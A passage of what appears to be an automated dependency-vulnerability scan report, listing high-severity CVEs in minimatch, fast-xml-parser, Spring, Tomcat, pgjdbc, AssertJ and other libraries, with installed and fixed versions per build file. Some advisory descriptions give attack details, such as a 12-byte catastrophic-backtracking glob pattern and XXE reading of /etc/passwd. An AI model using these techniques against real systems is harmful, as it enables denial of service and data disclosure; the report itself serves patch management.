fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Versions 4.0.0-beta.3 through 5.5.5 contain a bypass vulnerability where numeric character references (&#NNN;, &#xHH;) and standard XML entities completely evade the entity expansion limits (e.g., maxTotalExpansions, maxExpandedLength) added to fix CVE-2026-26278, enabling XML entity expansion Denial of Service. The root cause is that replaceEntitiesValue() in OrderedObjParser.js only enforces expansion counting on DOCTYPE-defined entities while the lastEntities loop handling numeric/standard entities performs no counting at all. An attacker supplying 1M numeric entity references like A can force ~147MB of memory allocation and heavy CPU usage, potentially crashing the process—even when developers have configured strict limits. This issue has been fixed in version 5.5.6.
Reference: https://avd.aquasec.com/nvd/cve-2026-33036
CVE-2026-26996 - minimatch
Severity: HIGH
Installed Version: 5.1.6
Fixed Version: 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3
Target: engine-rest/docs/package-lock.json
Title: minimatch: minimatch: Denial of Service via specially crafted glob patterns
Description:
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.
Reference: https://avd.aquasec.com/nvd/cve-2026-26996
CVE-2026-27903 - minimatch
Severity: HIGH
Installed Version: 5.1.6
Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3
Target: engine-rest/docs/package-lock.json
Title: minimatch: minimatch: Denial of Service due to unbounded recursive backtracking via crafted glob patterns
Description:
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-27903
CVE-2026-27904 - minimatch
Severity: HIGH
Installed Version: 5.1.6
Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4
Target: engine-rest/docs/package-lock.json
Title: minimatch: Minimatch: Denial of Service via catastrophic backtracking in glob expressions
Description:
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-27904
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: engine/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: qa/integration-tests-engine-jakarta/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2023-6378 - ch.qos.logback:logback-classic
Severity: HIGH
Installed Version: 1.2.11
Fixed Version: 1.3.12, 1.4.12, 1.2.13
Target: qa/performance-tests-engine/pom.xml
Title: logback: serialization vulnerability in logback receiver
Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.
Reference: https://avd.aquasec.com/nvd/cve-2023-6378
CVE-2023-6378 - ch.qos.logback:logback-core
Severity: HIGH
Installed Version: 1.2.11
Fixed Version: 1.3.12, 1.4.12, 1.2.13
Target: qa/performance-tests-engine/pom.xml
Title: logback: serialization vulnerability in logback receiver
Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.
Reference: https://avd.aquasec.com/nvd/cve-2023-6378
CVE-2019-10172 - org.codehaus.jackson:jackson-mapper-asl
Severity: HIGH
Installed Version: 1.9.11
Fixed Version:
Target: qa/performance-tests-engine/pom.xml
Title: jackson-mapper-asl: XML external entity similar to CVE-2016-3720
Description:
A flaw was found in org.codehaus.jackson:jackson-mapper-asl:1.9.x libraries. XML external entity vulnerabilities similar CVE-2016-3720 also affects codehaus jackson-mapper-asl libraries but in different classes.
Reference: https://avd.aquasec.com/nvd/cve-2019-10172
CVE-2020-26945 - org.mybatis:mybatis
Severity: HIGH
Installed Version: 3.5.3
Fixed Version: 3.5.6
Target: qa/test-db-instance-migration/pom.xml
Title: mybatis: mishandles deserialization of object streams which could result in remote code execution
Description:
MyBatis before 3.5.6 mishandles deserialization of object streams.
Reference: https://avd.aquasec.com/nvd/cve-2020-26945
CVE-2022-22970 - org.springframework:spring-beans
Severity: HIGH
Installed Version: 5.2.19.RELEASE
Fixed Version: 5.2.22.RELEASE, 5.3.20
Target: qa/test-db-instance-migration/pom.xml
Title: springframework: DoS via data binding to multipartFile or servlet part
Description:
In spring framework versions prior to 5.3.20+ , 5.2.22+ and old unsupported versions, applications that handle file uploads are vulnerable to DoS attack if they rely on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.
Reference: https://avd.aquasec.com/nvd/cve-2022-22970
CVE-2022-22970 - org.springframework:spring-beans
Severity: HIGH
Installed Version: 5.2.8.RELEASE
Fixed Version: 5.2.22.RELEASE, 5.3.20
Target: qa/test-db-instance-migration/pom.xml
Title: springframework: DoS via data binding to multipartFile or servlet part
Description:
In spring framework versions prior to 5.3.20+ , 5.2.22+ and old unsupported versions, applications that handle file uploads are vulnerable to DoS attack if they rely on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.
Reference: https://avd.aquasec.com/nvd/cve-2022-22970
CVE-2020-26945 - org.mybatis:mybatis
Severity: HIGH
Installed Version: 3.5.3
Fixed Version: 3.5.6
Target: qa/test-db-instance-migration/test-fixture-714/pom.xml
Title: mybatis: mishandles deserialization of object streams which could result in remote code execution
Description:
MyBatis before 3.5.6 mishandles deserialization of object streams.
Reference: https://avd.aquasec.com/nvd/cve-2020-26945
CVE-2022-22970 - org.springframework:spring-beans
Severity: HIGH
Installed Version: 5.2.8.RELEASE
Fixed Version: 5.2.22.RELEASE, 5.3.20
Target: qa/test-db-instance-migration/test-fixture-714/pom.xml
Title: springframework: DoS via data binding to multipartFile or servlet part
Description:
In spring framework versions prior to 5.3.20+ , 5.2.22+ and old unsupported versions, applications that handle file uploads are vulnerable to DoS attack if they rely on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.
Reference: https://avd.aquasec.com/nvd/cve-2022-22970
CVE-2022-22970 - org.springframework:spring-beans
Severity: HIGH
Installed Version: 5.2.19.RELEASE
Fixed Version: 5.2.22.RELEASE, 5.3.20
Target: qa/test-db-instance-migration/test-fixture-717/pom.xml
Title: springframework: DoS via data binding to multipartFile or servlet part
Description:
In spring framework versions prior to 5.3.20+ , 5.2.22+ and old unsupported versions, applications that handle file uploads are vulnerable to DoS attack if they rely on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.
Reference: https://avd.aquasec.com/nvd/cve-2022-22970
CVE-2026-42198 - org.postgresql:postgresql
Severity: HIGH
Installed Version: 42.5.5
Fixed Version: 42.7.11
Target: qa/tomcat-runtime/pom.xml
Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication
Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.
Reference: https://avd.aquasec.com/nvd/cve-2026-42198
CVE-2026-42198 - org.postgresql:postgresql
Severity: HIGH
Installed Version: 42.5.5
Fixed Version: 42.7.11
Target: qa/tomcat9-runtime/pom.xml
Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication
Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.
Reference: https://avd.aquasec.com/nvd/cve-2026-42198
CVE-2026-42198 - org.postgresql:postgresql
Severity: HIGH
Installed Version: 42.5.5
Fixed Version: 42.7.11
Target: qa/wildfly-runtime/pom.xml
Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication
Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.
Reference: https://avd.aquasec.com/nvd/cve-2026-42198
CVE-2026-42198 - org.postgresql:postgresql
Severity: HIGH
Installed Version: 42.5.5
Fixed Version: 42.7.11
Target: qa/wildfly26-runtime/pom.xml
Title: jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication
Description:
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.
Reference: https://avd.aquasec.com/nvd/cve-2026-42198
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: spring-boot-starter/starter-client/spring-boot/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: spring-boot-starter/starter-client/spring-boot/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2025-55752 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...
Description:
Relative Path Traversal vulnerability in Apache Tomcat.
The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-55752
CVE-2026-24734 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 11.0.18, 10.1.52, 9.0.115
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation
Description:
Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat.
When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed.
This issue affects Apache Tomcat Native: from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114.
The following versions were EOL at the time the CVE was created but are
known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected.
Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue.
Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24734
CVE-2026-24880 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.52, 11.0.20
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension
Description:
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Other, unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-24880
CVE-2026-34483 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.54, 11.0.21
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve
Description:
Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34483
CVE-2026-34487 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.117, 10.1.54, 11.0.21
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files
Description:
Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.
Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-34487
CVE-2026-41284 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Allocation of Resources Without Limits or Throttling vulnerability in ...
Description:
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.
Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-41284
CVE-2026-42498 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Exposure of HTTP Authentication Header to unexpected hosts during WebS ...
Description:
Exposure of HTTP Authentication Header to unexpected hosts during WebSocket authentication vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.2 through 9.0.117, from 8.5.24 through 8.5.100, from 7.0.83 through 7.0.109.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-42498
CVE-2026-43513 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 9.0.118, 10.1.55, 11.0.22
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ...
Description:
Improper Handling of Case Sensitivity vulnerability in LockOutRealm in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.
Older unsupported versions may also be affected.
Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-43513
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: spring-boot-starter/starter-security/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41248 - org.springframework.security:spring-security-core
Severity: HIGH
Installed Version: 6.5.3
Fixed Version: 6.4.10, 6.5.4
Target: spring-boot-starter/starter-security/pom.xml
Title: Spring Security annotation detection mechanism has authorization bypass
Description:
The Spring Security annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue when using @PreAuthorize and other method security annotations, resulting in an authorization bypass.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41249 https://spring.io/security/cve-2025-41249 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41248
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: spring-boot-starter/starter-security/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2026-24400 - org.assertj:assertj-core
Severity: HIGH
Installed Version: 3.27.4
Fixed Version: 3.27.7
Target: spring-boot-starter/starter-test/pom.xml
Title: assertj: AssertJ: Information disclosure and denial of service via XML External Entity (XXE)
Description:
AssertJ provides Fluent testing assertions for Java and the Java Virtual Machine (JVM). Starting in version 1.4.0 and prior to version 3.27.7, an XML External Entity (XXE) vulnerability exists in `org.assertj.core.util.xml.XmlStringPrettyFormatter`: the `toXmlDocument(String)` method initializes `DocumentBuilderFactory` with default settings, without disabling DTDs or external entities. This formatter is used by the `isXmlEqualTo(CharSequence)` assertion for `CharSequence` values. An application is vulnerable only when it uses untrusted XML input with either `isXmlEqualTo(CharSequence)` from `org.assertj.core.api.AbstractCharSequenceAssert` or `xmlPrettyFormat(String)` from `org.assertj.core.util.xml.XmlStringPrettyFormatter`. If untrusted XML input is processed by tone of these methods, an attacker couldnread arbitrary local files via `file://` URIs (e.g., `/etc/passwd`, application configuration files); perform Server-Side Request Forgery (SSRF) via HTTP/HTTPS URIs, and/or cause Denial of Service via "Billion Laughs" entity expansion attacks. `isXmlEqualTo(CharSequence)` has been deprecated in favor of XMLUnit in version 3.18.0 and will be removed in version 4.0. Users of affected versions should, in order of preference: replace `isXmlEqualTo(CharSequence)` with XMLUnit, upgrade to version 3.27.7, or avoid using `isXmlEqualTo(CharSequence)` or `XmlStringPrettyFormatter` with untrusted input. `XmlStringPrettyFormatter` has historically been considered a utility for `isXmlEqualTo(CharSequence)` rather than a feature for AssertJ users, so it is deprecated in version 3.27.7 and removed in version 4.0, with no replacement.
Reference: https://avd.aquasec.com/nvd/cve-2026-24400
CVE-2026-40973 - org.springframework.boot:spring-boot
Severity: HIGH
Installed Version: 3.5.5
Fixed Version: 4.0.6, 3.5.14
Target: spring-boot-starter/starter-test/pom.xml
Title: Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory
Description:
A local attacker on the same host as the application may be able to take control of the directory used by `ApplicationTemp`. When `server.servlet.session.persistent` is set to `true` and the attack persists across application restarts, this may allow the attacker to read session information and hijack authenticated users or deploy a gadget chain and execute code as the application's user.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); predictable temp directory / `ApplicationTemp` ownership verification. Versions that are no longer supported are also affected per vendor advisory.
Reference: https://avd.aquasec.com/nvd/cve-2026-40973
CVE-2025-41249 - org.springframework:spring-core
Severity: HIGH
Installed Version: 6.2.10
Fixed Version: 6.2.11
Target: spring-boot-starter/starter-test/pom.xml
Title: The Spring Framework annotation detection mechanism may not correctly ...
Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.
Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.
You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.
This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .
Reference: https://avd.aquasec.com/nvd/cve-2025-41249
CVE-2025-55752 - org.apache.tomcat.embed:tomcat-embed-core
Severity: HIGH
Installed Version: 10.1.44
Fixed Version: 11.0.11, 10.1.45, 9.0.109
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...
Description:
Relative Path Traversal vulnerability in Apache Tomcat.
The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.
